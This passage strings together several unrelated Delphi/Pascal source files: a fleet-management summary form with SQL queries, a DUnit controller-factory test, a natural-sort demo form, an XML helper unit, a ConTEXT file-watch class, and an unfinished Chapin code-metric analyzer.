DmFire.RelacaoEntradaSaida.SQL.Add(' INNER JOIN USUARIO USUARIO_SAI ON USUARIO_SAI.CODUSU = ENTRADA_SAIDA.USUSAIDA');
DmFire.RelacaoEntradaSaida.SQL.Add(' LEFT JOIN USUARIO USUARIO_ENT ON USUARIO_ENT.CODUSU = ENTRADA_SAIDA.USUENT');
DmFire.RelacaoEntradaSaida.SQL.Add(' LEFT JOIN VEICULO CARRETA ON CARRETA.CODVEI = ENTRaDA_SAIDA.CODCARRETA');
DmFire.RelacaoEntradaSaida.SQL.Add(' WHERE VEICULO.CODVEI <> 999999');
DmFire.RelacaoEntradaSaida.SQL.Add(' AND ENTRADA_SAIDA.OBS_MOTORISTA <> '' ''');
DmFire.RelacaoEntradaSaida.SQL.Add(' AND ENTRADA_SAIDA.IN_VISUALIZADO = ''NAO''');
DmFire.RelacaoEntradaSaida.Open;
if DmFire.RelacaoEntradaSaida.IsEmpty then
begin
vnQtdEntradaObsMot := 0;
end
else
begin
DmFire.RelacaoEntradaSaida.Last;
DmFire.RelacaoEntradaSaida.First;
vnQtdEntradaObsMot := DmFire.RelacaoEntradaSaida.RecordCount;
end;
lblQtdEntradaObsMot.Caption := IntToStr(vnQtdEntradaObsMot);
lblDQtdManut.Enabled := vnQtdManut > 0;
lblQtdManut.Enabled := vnQtdManut > 0;
lblDQtdAbastcAbe.Enabled := vnQtdAbastcAbe > 0;
lblQtdAbastcAbe.Enabled := vnQtdAbastcAbe > 0;
lblDQtdIndentCondut.Enabled := vnQtdIndentCondut > 0;
lblQtdIndentCondut.Enabled := vnQtdIndentCondut > 0;
lblDQtdCnhVenc.Enabled := vnQtdCnhVenc > 0;
lblQtdCnhVenc.Enabled := vnQtdCnhVenc > 0;
lblQtdLogMonit.Enabled := vnQtdLogMonit > 0;
lblDQtdLogMonit.Enabled := vnQtdLogMonit > 0;
lblDQtdEntradaObsMot.Enabled := vnQtdEntradaObsMot > 0;
lblQtdEntradaObsMot.Enabled := vnQtdEntradaObsMot > 0;
if vnQtdLogMonit = 0 then
pnlLogMonitoramento.Color := clWhite;
if vnQtdEntradaObsMot = 0 then
pnlEntradasObservacoes.Color := clWhite;
end;
procedure TFResumoGeral.lblDQtdManutClick(Sender: TObject);
begin
if vnQtdManut > 0 then
begin
FRelacaoManutencoesPeriodicas := TFRelacaoManutencoesPeriodicas.Create(Self);
FResumoGeral.Visible := False;
FRelacaoManutencoesPeriodicas.chkLocalVei.Checked := True;
FRelacaoManutencoesPeriodicas.cbbLocalVei.ItemIndex := 0;
FRelacaoManutencoesPeriodicas.chkApenasVencidos.Checked := True;
FRelacaoManutencoesPeriodicas.ShowModal;
FreeAndNil(FRelacaoManutencoesPeriodicas);
FResumoGeral.Visible := True;
end;
end;
procedure TFResumoGeral.lblDNivelCombClick(Sender: TObject);
begin
FTanqueCombustivel := TFTanqueCombustivel.Create(Self);
FResumoGeral.Visible := False;
FTanqueCombustivel.ShowModal;
FreeAndNil(FTanqueCombustivel);
FResumoGeral.Visible := True;
end;
procedure TFResumoGeral.lblDQtdAbastcAbeClick(Sender: TObject);
begin
if vnQtdAbastcAbe > 0 then
begin
FAbastecimento_Viagem := TFAbastecimento_Viagem.Create(Self);
FResumoGeral.Visible := False;
FAbastecimento_Viagem.ShowModal;
FreeAndNil(FAbastecimento_Viagem);
FResumoGeral.Visible := True;
end;
end;
procedure TFResumoGeral.lblDQtdIndentCondutClick(Sender: TObject);
begin
if vnQtdIndentCondut > 0 then
begin
FInfracoesIdentificar := TFInfracoesIdentificar.Create(Self);
FResumoGeral.Visible := False;
FInfracoesIdentificar.ShowModal;
FreeAndNil(FInfracoesIdentificar);
FResumoGeral.Visible := True;
end;
end;
procedure TFResumoGeral.lblDQtdLogMonitClick(Sender: TObject);
begin
if vnQtdLogMonit > 0 then
begin
FLogMonitoramentoVeiculos := TFLogMonitoramentoVeiculos.Create(Self);
FResumoGeral.Visible := false;
FLogMonitoramentoVeiculos.ShowModal;
FreeAndNil(FLogMonitoramentoVeiculos);
FResumoGeral.Visible := True;
end;
end;
procedure TFResumoGeral.lblDQtdCnhVencClick(Sender: TObject);
begin
if vnQtdCnhVenc > 0 then
begin
FVencimentoCNH := TFVencimentoCNH.Create(Self);
FResumoGeral.Visible := False;
FVencimentoCNH.ShowModal;
FreeAndNil(FVencimentoCNH);
FResumoGeral.Visible := True;
end;
end;
procedure TFResumoGeral.lblDQtdEntradaObsMotClick(Sender: TObject);
begin
FEntradaVeicObsMot := TFEntradaVeicObsMot.Create(Self);
FResumoGeral.Visible := false;
FEntradaVeicObsMot.ShowModal;
FreeAndNil(FEntradaVeicObsMot);
FResumoGeral.Visible := True;
end;
end.
|
unit TestMVCBr.Controller;
{
Delphi DUnit Test Case
----------------------
This unit contains a skeleton test case class generated by the Test Case Wizard.
Modify the generated code to correctly setup and call the methods from the unit
being tested.
}
interface
uses
TestFramework, System.SysUtils, System.Generics.Collections, System.TypInfo,
MVCBr.Interf, MVCBr.Model, MVCBr.ApplicationController,
System.RTTI, MVCBr.View, System.Classes,
MVCBr.Controller;
type
// Test methods for class TControllerFactory
TTestModel = class(TModelFactory)
end;
TTestView = class(TViewFactory)
end;
TestTControllerFactory = class(TTestCase)
strict private
FControllerFactory: TControllerFactory;
public
procedure SetUp; override;
procedure TearDown; override;
published
procedure TestID;
procedure TestGetModelByID;
procedure TestDoCommand;
procedure TestGetModel;
procedure TestGetModelByType;
procedure TestInit;
procedure TestBeforeInit;
procedure TestAfterInit;
procedure TestGetView;
procedure TestView;
procedure TestThis;
procedure TestControllerAs;
procedure TestAdd;
procedure TestIndexOf;
procedure TestIndexOfModelType;
procedure TestDelete;
procedure TestCount;
procedure TestForEach;
procedure TestForEachFunc;
procedure TestUpdateAll;
procedure TestUpdateByModel;
procedure TestUpdateByView;
procedure TestResolveController;
end;
implementation
uses test.Controller.interf;
procedure TestTControllerFactory.SetUp;
begin
FControllerFactory := TControllerFactory.Create;
FControllerFactory.add(TMVCBr.InvokeCreate<IModel>(TTestModel)
.ID('teste.model'));
FControllerFactory. view( TMVCBr.InvokeCreate<IView>(TTestView) );
end;
procedure TestTControllerFactory.TearDown;
begin
// FControllerFactory.Free;
FControllerFactory := nil;
end;
procedure TestTControllerFactory.TestID;
var
ReturnValue: IController;
AID: string;
begin
// TODO: Setup method call parameters
AID := FControllerFactory.ClassName;
ReturnValue := FControllerFactory.ID(AID);
CheckNotNull(ReturnValue, 'Não incializou o IController');
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestGetModelByID;
var
ReturnValue: IModel;
AID: string;
begin
// TODO: Setup method call parameters
ReturnValue := FControllerFactory.GetModelByID('Teste.Model');
checkNotNull(ReturnValue);
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestDoCommand;
var
ACommand: string;
begin
// TODO: Setup method call parameters
FControllerFactory.DoCommand(ACommand, []);
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestGetModel;
var
ReturnValue: IModel;
idx: Integer;
begin
// TODO: Setup method call parameters
idx := FControllerFactory.Count-1;
ReturnValue := FControllerFactory.GetModel(idx);
checkNotNull(ReturnValue);
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestGetModelByType;
var
ReturnValue: IModel;
AModelType: TModelType;
begin
// TODO: Setup method call parameters
AModelType := mtCommon;
ReturnValue := FControllerFactory.GetModelByType(AModelType);
checkNotNull(ReturnValue);
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestInit;
begin
FControllerFactory.Init;
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestResolveController;
var ctrl:ITestController;
begin
ctrl := FControllerFactory.ResolveController<ITestController>;
CheckNotNull(ctrl,'Não inicializou o controller');
end;
procedure TestTControllerFactory.TestBeforeInit;
begin
FControllerFactory.BeforeInit;
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestAfterInit;
begin
FControllerFactory.AfterInit;
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestGetView;
var
ReturnValue: IView;
begin
ReturnValue := FControllerFactory.GetView;
checkNotNull(ReturnValue);
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestView;
var
ReturnValue: IController;
AView: IView;
begin
// TODO: Setup method call parameters
AView := FControllerFactory.GetView;
checkNotNull(AView,'A View não foi inicializa');
ReturnValue := FControllerFactory.View(AView);
checkNotNull(ReturnValue, 'Não retornou a view');
CheckSame(ReturnValue,FControllerFactory.GetView.GetController ,'Mudou o Controller, quando o esperado é que continuaria o mesmo');
CheckSame(AView,FControllerFactory.GetView ,'Mudou a View, quando o esperado é que continuaria a mesma');
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestThis;
var
ReturnValue: TControllerAbstract;
begin
ReturnValue := FControllerFactory.This;
checkNotNull(ReturnValue);
// TODO: Validate method results
checkTrue(ReturnValue.This.InheritsFrom(TControllerFactory),'Não herdou de TControllerFactory');
end;
procedure TestTControllerFactory.TestControllerAs;
var
ReturnValue: TControllerFactory;
begin
ReturnValue := FControllerFactory.ControllerAs;
checkNotNull(ReturnValue);
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestAdd;
var
ReturnValue: Integer;
AModel: IModel;
begin
// TODO: Setup method call parameters
AModel := TTestModel.New<IModel>(TTestModel);
ReturnValue := FControllerFactory.add(AModel);
checkTrue(ReturnValue>0);
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestIndexOf;
var
ReturnValue: Integer;
AModel: IModel;
begin
// TODO: Setup method call parameters
AModel := FControllerFactory.GetModel(0);
ReturnValue := FControllerFactory.IndexOf(AModel);
checkTrue(ReturnValue=0);
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestIndexOfModelType;
var
ReturnValue: Integer;
AModelType: TModelType;
begin
// TODO: Setup method call parameters
AModelType := mtCommon;
ReturnValue := FControllerFactory.IndexOfModelType(AModelType);
checkTrue(ReturnValue>=0);
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestDelete;
var
Index: Integer;
begin
// TODO: Setup method call parameters
Index := FControllerFactory.count -1;
FControllerFactory.Delete(Index);
checkTrue(Index = FControllerFactory.count);
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestCount;
var
ReturnValue: Integer;
begin
ReturnValue := FControllerFactory.Count;
checkTrue(ReturnValue>0);
CheckTrue(ReturnValue>0);
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestForEach;
var
AProc: TProc<IModel>;
rt:boolean;
begin
rt := false;
// TODO: Setup method call parameters
AProc := procedure(Mdl:IModel) begin
rt := true;
end;
FControllerFactory.ForEach(AProc);
checkTrue(rt);
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestForEachFunc;
var
AProc: TProc<IModel>;
rt:boolean;
begin
rt := false;
// TODO: Setup method call parameters
AProc := procedure(Mdl:IModel) begin
rt := true;
end;
FControllerFactory.ForEach(AProc);
checkTrue(rt);
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestUpdateAll;
var
ReturnValue: IController;
begin
ReturnValue := FControllerFactory.UpdateAll;
CheckNotNull(ReturnValue);
// TODO: Validate method results
end;
procedure TestTControllerFactory.TestUpdateByModel;
var
ReturnValue: IController;
AModel: IModel;
begin
// TODO: Setup method call parameters
ReturnValue := FControllerFactory.UpdateByModel(AModel);
// TODO: Validate method results
CheckNotNull(ReturnValue);
end;
procedure TestTControllerFactory.TestUpdateByView;
var
ReturnValue: IController;
AView: IView;
begin
// TODO: Setup method call parameters
AView := FControllerFactory.GetView;
ReturnValue := FControllerFactory.UpdateByView(AView);
CheckNotNull(ReturnValue);
// TODO: Validate method results
end;
{ TTestControllerFactory }
initialization
TMVCbR.RegisterInterfaced<IModel>('Teste.Model', IModel,
TTestModel, true);
// Register any test cases with the test runner
RegisterTest(TestTControllerFactory.Suite);
end.
|
unit Form.NaturalOrderTest;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ExtCtrls, Vcl.ComCtrls;
type
TFormNaturalOrderTest = class(TForm)
PageControlMain: TPageControl;
TabSheetData: TTabSheet;
MemoData: TMemo;
TabSheetStringList: TTabSheet;
MemoStringList: TMemo;
TabSheetListView: TTabSheet;
ListView1: TListView;
PanelBottom: TPanel;
ButtonInitialize: TButton;
ButtonSort: TButton;
ButtonCaseSort: TButton;
procedure ButtonInitializeClick(Sender: TObject);
procedure ButtonSortClick(Sender: TObject);
procedure ButtonCaseSortClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure ListView1ColumnClick(Sender: TObject; Column: TListColumn);
private
{ Private declarations }
FAsc: Boolean;
procedure InitData;
procedure DoTestStringList( ACaseSensitive: Boolean );
procedure DoTestListView( ACaseSensitive: Boolean );
public
{ Public declarations }
end;
var
FormNaturalOrderTest: TFormNaturalOrderTest;
implementation
uses
Sort.StringList, Sort.ListView;
{$R *.dfm}
procedure TFormNaturalOrderTest.ButtonCaseSortClick(Sender: TObject);
begin
case PageControlMain.ActivePageIndex of
1: DoTestStringList(True);
2: DoTestListView(True);
end;
end;
procedure TFormNaturalOrderTest.ButtonInitializeClick(Sender: TObject);
var
I: Integer;
ListItem: TListItem;
ListGroup: TListGroup;
begin
case PageControlMain.ActivePageIndex of
0: InitData;
1: MemoStringList.Clear;
2:
begin
ListView1.Clear;
for I := 0 to MemoData.Lines.Count - 1 do
begin
ListItem := ListView1.Items.Add;
ListItem.Caption := MemoData.Lines.Strings[I];
ListItem.SubItems.Add( MemoData.Lines.Strings[I] );
ListItem.SubItems.Add( MemoData.Lines.Strings[I] );
end;
end;
end;
end;
procedure TFormNaturalOrderTest.ButtonSortClick(Sender: TObject);
begin
case PageControlMain.ActivePageIndex of
1: DoTestStringList(False);
2: DoTestListView(False);
end;
end;
procedure TFormNaturalOrderTest.DoTestListView( ACaseSensitive: Boolean );
begin
TListViewSort.SortByColumn( ListView1, 0, ACaseSensitive, FAsc );
FAsc := not FAsc;
end;
procedure TFormNaturalOrderTest.DoTestStringList( ACaseSensitive: Boolean );
var
StringList: TStringList;
begin
StringList := TStringList.Create;
try
StringList.Assign( MemoData.Lines );
TStringListSort.Sort( StringList, ACaseSensitive, FAsc );
FAsc := not FAsc;
MemoStringList.Lines.Assign( StringList );
finally
StringList.Free;
end;
end;
procedure TFormNaturalOrderTest.FormCreate(Sender: TObject);
begin
Caption := Application.Title;
FAsc := True;
PageControlMain.ActivePageIndex := 0;
InitData;
end;
procedure TFormNaturalOrderTest.InitData;
begin
MemoData.Clear;
MemoData.Lines.Add( '20 - Twenty' );
MemoData.Lines.Add( '1 - One' );
MemoData.Lines.Add( '10 - Ten (1)' );
MemoData.Lines.Add( '2 - Two' );
MemoData.Lines.Add( '20 - twenty' );
MemoData.Lines.Add( '15 - Fifteen' );
MemoData.Lines.Add( '1 - One (b)' );
MemoData.Lines.Add( '10 - Ten (2)' );
MemoData.Lines.Add( '3 - Three' );
MemoData.Lines.Add( '10 - Ten (100)' );
MemoData.Lines.Add( '1-2' );
MemoData.Lines.Add( '1-02' );
MemoData.Lines.Add( '1-20' );
MemoData.Lines.Add( '10-20' );
MemoData.Lines.Add( 'fred' );
MemoData.Lines.Add( 'jane' );
MemoData.Lines.Add( 'pic01",' );
MemoData.Lines.Add( 'pic2' );
MemoData.Lines.Add( 'pic02' );
MemoData.Lines.Add( 'Pic02a' );
MemoData.Lines.Add( 'pic3' );
MemoData.Lines.Add( 'pic4' );
MemoData.Lines.Add( 'pic 4 else' );
MemoData.Lines.Add( 'pic 5' );
MemoData.Lines.Add( 'pic05' );
MemoData.Lines.Add( 'pic 5",' );
MemoData.Lines.Add( 'pic 5 something' );
MemoData.Lines.Add( 'Pic 6' );
MemoData.Lines.Add( 'Pic 7' );
MemoData.Lines.Add( 'pic100' );
MemoData.Lines.Add( 'pic100a' );
MemoData.Lines.Add( 'Pic120' );
MemoData.Lines.Add( 'pic121",' );
MemoData.Lines.Add( 'pic02000' );
MemoData.Lines.Add( 'tom' );
MemoData.Lines.Add( 'x2-g8' );
MemoData.Lines.Add( 'x2-y7' );
MemoData.Lines.Add( 'x2-y08' );
MemoData.Lines.Add( 'x8-y8"' );
MemoData.Lines.Add( 'a - 1' );
MemoData.Lines.Add( 'A - 10' );
MemoData.Lines.Add( 'a - 99' );
MemoData.Lines.Add( 'A - 9' );
MemoData.Lines.Add( 'A - 10000' );
end;
procedure TFormNaturalOrderTest.ListView1ColumnClick(Sender: TObject;
Column: TListColumn);
begin
TListViewSort.SortByColumn( ListView1, Column.Index, True, FAsc );
FAsc := not FAsc;
end;
end.
|
unit UfrXmlToolsFp;
{$mode delphi}
interface
uses
Classes, SysUtils, DOM, XMLRead;
function CreateXMLDoc(const XMLBuf: PChar): TXMLDocument;
function GetFirstNode(const XMLDoc: TDOMDocument): TDOMNode;
function FindAttrByName(const XMLNode: TDOMNode; AttrName: string): string;
function FindChildNodeByName(const XMLNode: TDOMNode; TagName: string): TDOMNode;
function GetIntValByName(const XMLNode: TDOMNode; const AttrName: string;
const DefaultValue: Integer): int64;
function NodeNameIs(const XMLNode: TDOMNode; const NodeName: string): Boolean;
function FlagPresented(const Mask: int64; const Flags: array of int64): Boolean;
implementation
function ReadFileToString(fn: string): string;
var
fXML: file;
begin
AssignFile(fXML, fn);
Reset(fXML, 1);
SetLength(Result, FileSize(fXML));
BlockRead(fXML, Result[1], Length(Result));
CloseFile(fXML);
end;
function CreateXMLDoc(const XMLBuf: PChar): TXMLDocument;
procedure _SetXmlText(s: string);
var
ss: TStringStream;
begin
ss := TStringStream.Create(s);
try
ss.Position := 0;
ReadXMLFile(Result, ss);
finally
ss.Free();
end;
end;
var
st: string;
begin
Result := TXMLDocument.Create();
st := XMLBuf;
if FileExists(st) then
st := ReadFileToString(st);
if Pos(#$EF#$BB#$BF, st) = 1 then
begin
_SetXmlText(st);
Exit;
end;
while (st <> '') and (st[1] <> '<') do
Delete(st, 1, 1);
if Pos('<?xml version', st) = 1 then
begin
_SetXmlText(st);
end
else
begin
_SetXmlText('<?xml version="1.0" encoding ="utf-8"?>'#13#10 + st);
end;
end;
function GetFirstNode(const XMLDoc: TDOMDocument): TDOMNode;
begin
if XMLDoc = nil then
begin
Result := nil;
Exit;
end;
Result := XMLDoc.FirstChild;
//после этого в виндовозе в Result.NodeName будет строка вида <?xml version="1.0" encoding...,
//а никсы пропускают этот "заголовок" и возвращают следующую ноду. учитываем этот момент
if not Result.HasChildNodes then
Result := Result.NextSibling; //этот If выполнится для виндовоза
end;
function FindAttrByName(const XMLNode: TDOMNode; AttrName: string): string;
var
j: Integer;
begin
Result := '';
AttrName := UpperCase(AttrName);
for j := 0 to XMLNode.Attributes.Length - 1 do
if UpperCase(XMLNode.Attributes[j].NodeName) = AttrName then
begin
Result := XMLNode.Attributes[j].NodeValue;
Exit;
end;
end;
function FindChildNodeByName(const XMLNode: TDOMNode; TagName: string): TDOMNode;
var
j: Integer;
childs: TDOMNodeList;
begin
Result := nil;
childs := XMLNode.ChildNodes;
if childs = nil then
Exit;
for j := 0 to childs.Length - 1 do
begin
if childs[j].NodeName = TagName then
begin
Result := childs[j];
Exit;
end;
end;
end;
function GetIntValByName(const XMLNode: TDOMNode; const AttrName: string;
const DefaultValue: Integer): int64;
begin
Result := StrToInt64Def(FindAttrByName(XMLNode, AttrName), DefaultValue);
end;
function NodeNameIs(const XMLNode: TDOMNode; const NodeName: string): Boolean;
begin
Result := UpperCase(XMLNode.NodeName) = UpperCase(NodeName);
end;
function FlagPresented(const Mask: int64; const Flags: array of int64): Boolean;
var
j: Integer;
begin
Result := False;
for j := 0 to High(Flags) do
if Mask and Flags[j] <> 0 then
begin
Result := True;
Exit;
end;
end;
end.
|
// Copyright (c) 2009, ConTEXT Project Ltd
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
//
// Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
// Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
// Neither the name of ConTEXT Project Ltd nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
unit FilesWatch;
interface
{$I ConTEXT.inc}
uses
Windows, SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, StdCtrls, ExtCtrls, ComCtrls, Common;
type
TFilesWatch = class
private
files :TStringList;
file_times :array[0..15] of integer;
function CheckFileTime(n:integer):boolean;
public
procedure UpdateFileNames(fnames:TStringList);
function Check:boolean;
procedure ResetTimes;
procedure UpdateTimes;
function ReloadDlg:integer;
constructor Create;
destructor Destroy; override;
end;
implementation
{/////////////////////////////////////////////////////////////////
Project files watch functions
/////////////////////////////////////////////////////////////////}
{----------------------------------------------------------------}
procedure TFilesWatch.UpdateFileNames(fnames:TStringList);
begin
ResetTimes;
files.Clear;
files.AddStrings(fnames);
end;
{----------------------------------------------------------------}
function TFilesWatch.CheckFileTime(n:integer):boolean;
begin
result:=(file_times[n]=-1) or (FileAge(files[n])=file_times[n]) or (FileAge(files[n])=-1);
end;
{----------------------------------------------------------------}
function TFilesWatch.Check:boolean;
var
i :integer;
ok :boolean;
begin
ok:=TRUE;
i:=0;
while ok and (i<files.Count) do begin
ok:=CheckFileTime(i);
inc(i);
end;
result:=ok;
end;
{----------------------------------------------------------------}
procedure TFilesWatch.ResetTimes;
begin
FillChar(file_times,SizeOf(file_times),-1);
end;
{----------------------------------------------------------------}
procedure TFilesWatch.UpdateTimes;
var
i :integer;
begin
i:=0;
while (i<files.Count) do begin
file_times[i]:=FileAge(files[i]);
inc(i);
end;
end;
{----------------------------------------------------------------}
function TFilesWatch.ReloadDlg:integer;
begin
// result:=Msg_Dialog(mlStr(MSG_FILESWATCH_WARNING,'Warning'),
// mlStr(MSG_FILESWATCH_CHANGED,'Project files has been changed by some other application. Reload project from disk?'),
// BTN_YES+BTN_NO, BTN_YES, icoExclamation);
end;
{----------------------------------------------------------------}
{/////////////////////////////////////////////////////////////////
Constructor, Destructor
/////////////////////////////////////////////////////////////////}
{----------------------------------------------------------------}
constructor TFilesWatch.Create;
begin
files:=TStringList.Create;
ResetTimes;
end;
{----------------------------------------------------------------}
destructor TFilesWatch.Destroy;
begin
files.Free;
inherited Destroy;
end;
{----------------------------------------------------------------}
end.
|
unit Unit1;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, RegExpr, Vcl.Dialogs, Vcl.StdCtrls;
type
Value = record
name : string;
is_used : boolean;
control_val : boolean;
IO_val : boolean;
end;
TValue = array of Value;
TChapin = class(TForm)
MemoCode: TMemo;
mResult: TMemo;
ButtonLoadFromFileCode: TButton;
ButtonMake: TButton;
OpenDialogCode: TOpenDialog;
procedure ButtonLoadFromFileCodeClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure ButtonMakeClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
const
types = '(long int|float|long float|double|bool|short int|unsigned int|char|int|void)';
var
Chapin: TChapin;
RegExpro : TRegExpr;
global_values, local_values : TValue;
input_vars, modificated_vars, managing_vars, parasitic_vars: integer;
implementation
{$R *.dfm}
procedure deletePrivateLiterals( Var sourceCode:string);
begin
regExpro.Expression:='"(/\*)|(\*/)"';
sourceCode:=regExpro.Replace(sourceCode,'',true);
end;
procedure deleteComments( var sourceCode: string) ;
begin
regExpro.ModifierM:= True;
regExpro.Expression:='//.*?$';
sourceCode:= regExpro.Replace(sourceCode,'',true);
regExpro.ModifierS:= True;
regExpro.Expression:='/\*.*?\*/';
sourceCode:= regExpro.Replace(sourceCode,'',true);
regExpro.ModifierS:= False;
end;
procedure deleteLiterals(var sourceCode: string) ;
begin
regExpro.Expression:='''.?''';
sourceCode:= regExpro.Replace(sourceCode,'''''',true);
regExpro.Expression:='".*?"';
sourceCode:= regExpro.Replace(sourceCode,'""',true);
end;
procedure MetricData(var values : TValue;var nArray : byte);
var
i : integer;
begin
for i := 0 to nArray - 1 do
begin
if values[i].is_used then
inc(modificated_vars)
else
inc(parasitic_vars);
if values[i].control_val then
inc(managing_vars);
if values[i].IO_val then
inc(input_vars);
end;
nArray := 0;
setlength(values, nArray);
end;
procedure SearchValue(values : TValue; nValues : integer; code : string; values_global : TValue; nGlobalValues : integer);
var
i, j : integer;
check : boolean;
begin
for i := 0 to nValues - 1 do
begin
RegExpro.Expression := 'switch *\(.*' + values[i].name + '|if *\(.*' + values[i].name;
if RegExpro.Exec(code) then
values[i].control_val := true;
RegExpro.Expression := '(\W|\[)' + values[i].name + '(\W|\])';
if RegExpro.Exec(code) then
values[i].is_used := true;
RegExpro.Expression := '(scanf *\(.*' + values[i].name + '.*\) *;|printf *\(.*' + values[i].name + '.*\) *;|cout *<< *' + values[i].name + ' *;|cin *>> *' + values[i].name + ' *;)';
if RegExpro.Exec(code) then
values[i].IO_val := true;
end;
for i := 0 to nGlobalValues - 1 do
begin
check := false;
for j := 0 to nValues - 1 do
if values[j].name = values_global[i].name then
check := true;
if not check then
begin
RegExpro.Expression := '(switch *\( *\( *|for *\( *\(| *|if *\(.*)' + values_global[i].name;
if RegExpro.Exec(code) then
values_global[i].control_val := true;
RegExpro.Expression := '(\W|\[)' + values_global[i].name + '(\W|\])';
if RegExpro.Exec(code) then
values_global[i].is_used := true;
RegExpro.Expression := '(scanf\(.*' + values_global[i].name + '.*\) *;|printf\(.*' + values_global[i].name + '.*\) *;|cout *<< *' + values_global[i].name + ' *;|cin *>> *' + values_global[i].name + ' *;)';
if RegExpro.Exec(code) then
values_global[i].IO_val := true;
end;
end;
end;
procedure TChapin.ButtonLoadFromFileCodeClick(Sender: TObject);
begin
if OpenDialogCode.Execute then
MemoCode.Lines.LoadFromFile(OpenDialogCode.FileName)
else
showmessage('Error');
end;
procedure search_new_values(var value_arr :TValue; var nArray : integer;code : string);
var
i: integer;
RegExpro_extra : TRegExpr;
begin
RegExpro.Expression := types + ' +\W*([a-zA-Z_]+)\W';
//RegExpro.Expression := types + ' .*\(' types +
if RegExpro.Exec(code) then
begin
RegExpro.Expression := ' +\W*([a-zA-Z_]+)\W';
if RegExpro.Exec(code) then
repeat
inc(nArray);
SetLength(value_arr, nArray);
value_arr[nArray - 1].name := Trim(RegExpro.Match[1]);
until not RegExpro.ExecNext();
end;
end;
procedure TChapin.FormCreate(Sender: TObject);
begin
RegExpro := TRegExpr.create;
end;
procedure TChapin.ButtonMakeClick(Sender: TObject);
var
counter : byte;
i : integer;
NUMBER_VALUES, NUMBER_VALUES_LOCAL, j : byte;
module, code : string;
metric_result : integer;
check : boolean;
begin
parasitic_vars := 0;
managing_vars := 0;
input_vars := 0;
modificated_vars := 0;
NUMBER_VALUES := 0;
NUMBER_VALUES_LOCAL := 0;
setLength(global_values, NUMBER_VALUES);
setLength(local_values, NUMBER_VALUES_LOCAL);
counter := 0;
module := '';
number_values := 0;
code := MemoCode.Lines.text;
deletePrivateLiterals(code);
deleteComments(code);
deleteLiterals(code);
MemoCode.Lines.Text := code;
i := 0;
if length(MemoCode.Text) > 0 then
begin
repeat
check := false;
if length(MemoCode.Lines[i]) <> 0 then
begin
RegExpro.Expression := ' *' + types + ' +([a-zA-Z]+)\(.*\)';
if RegExpro.Exec(MemoCode.Lines[i]) then
begin
module := Trim(RegExpro.Match[2]);
inc(i);
end;
RegExpro.Expression := '{';
if RegExpro.Exec(MemoCode.Lines[i]) then
begin
inc(counter);
end;
RegExpro.Expression := '}';
if RegExpro.Exec(MemoCode.Lines[i]) then
begin
dec(counter);
if counter = 0 then
begin
MetricData(local_values, NUMBER_VALUES_LOCAL);
module := '';
end;
end;
check := false;
RegExpro.Expression := types + ' +\W*([a-zA-Z_]+)\W';
if RegExpro.Exec(MemoCode.Lines[i]) then
begin
RegExpro.Expression := '(\W)* *([a-zA-Z]+)\W';
repeat
if module <> '' then
begin
check := true;
inc(NUMBER_VALUES_LOCAL);
setLength(local_values, NUMBER_VALUES_LOCAL);
local_values[NUMBER_VALUES_LOCAL - 1].name := Trim(RegExpro.Match[2]);
local_values[NUMBER_VALUES_LOCAL - 1].is_used := false;
local_values[NUMBER_VALUES_LOCAL - 1].control_val := false;
local_values[NUMBER_VALUES_LOCAL - 1].IO_val := false;
showmessage(local_values[NUMBER_VALUES_LOCAL - 1].name);
end
else
begin
check := true;
inc(NUMBER_VALUES);
setLength(global_values, NUMBER_VALUES);
global_values[NUMBER_VALUES - 1].name := Trim(RegExpro.Match[2]);
global_values[NUMBER_VALUES - 1].is_used := false;
global_values[NUMBER_VALUES - 1].control_val := false;
global_values[NUMBER_VALUES - 1].IO_val := false;
